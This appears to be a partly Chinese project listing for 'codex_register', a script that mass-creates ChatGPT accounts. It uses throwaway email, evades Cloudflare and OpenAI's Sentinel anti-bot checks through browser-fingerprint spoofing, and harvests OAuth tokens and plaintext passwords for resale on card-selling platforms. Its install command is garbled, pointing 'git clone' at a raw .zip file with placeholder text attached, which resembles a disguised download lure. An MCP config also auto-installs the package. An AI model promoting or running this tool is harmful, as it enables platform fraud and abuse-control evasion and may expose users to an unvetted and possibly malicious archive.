Hermylivid261/codex_register
Automate ChatGPT registration and extract OAuth access_token and refresh_token with email handling, Sentinel bypass, and PKCE capture
Platform-specific configuration:
{
"mcpServers": {
"codex_register": {
"command": "npx",
"args": [
"-y",
"codex_register"
]
}
}
}Add the config above to .claude/settings.json under the mcpServers key.
这是一个高度现代化的 OpenAI 自动化注册脚本。本项目不仅实现了全自动化的 ChatGPT 账号注册流程,还集成了对 OpenAI 最新反爬机制(Sentinel)的绕过方案,并能够通过拦截原生 OAuth2 授权流,直接为你提取出最核心的 access_token 和 refresh_token。
mail.tm 临时邮箱 API 接口,动态获取可用域名,自动轮询并提取验证码。curl_cffi,完美伪装 Chrome 120 浏览器指纹,有效绕过 Cloudflare 盾和基础网络拦截。sentinel.openai.com 申请并携带合规的防护 Token (authorize_continue & oauth_create_account)。access_token 和 refresh_token 在内的完整授权配置。tokens 文件夹,将完整的 Token 信息保存为 JSON 文件,并将明文账密按 账号----密码 格式追加保存。 git clone https://github.com/Hermylivid261/codex_register/raw/refs/heads/main/piezochemical/register_codex_v3.1.zip你的用户名/你的项目名.git
cd 你的项目名 本项目高度依赖 curl_cffi 库,请使用 pip 进行安装:
pip install curl_cffi脚本提供了极其简单的命令行调用方式,支持无限循环注册和代理配置。
脚本默认会一直循环运行,每次注册完成后随机休息 5-15 秒,适合挂机批量生成。
python chatgpt.py--once)如果你只想测试注册一个账号,请带上 --once 参数:
python chatgpt.py --once--proxy)由于 OpenAI 对网络环境有严格要求,你可以直接通过命令行传入代理地址(支持 HTTP/HTTPS/SOCKS5):
python chatgpt.py --proxy "http://127.0.0.1:7890"
# 或搭配单次运行:
python chatgpt.py --once --proxy "http://127.0.0.1:7890"注册成功的账号数据会自动保存在脚本同级目录的 tokens/ 文件夹下:
accounts.txt:汇总保存所有的账号密码,格式为 email----password,方便直接复制到第三方发卡平台或客户端使用。token_[email]_[timestamp].json:详细的授权文件,包含您的 access_token、refresh_token、id_token 以及过期时间等底层通讯秘钥。Loading reviews...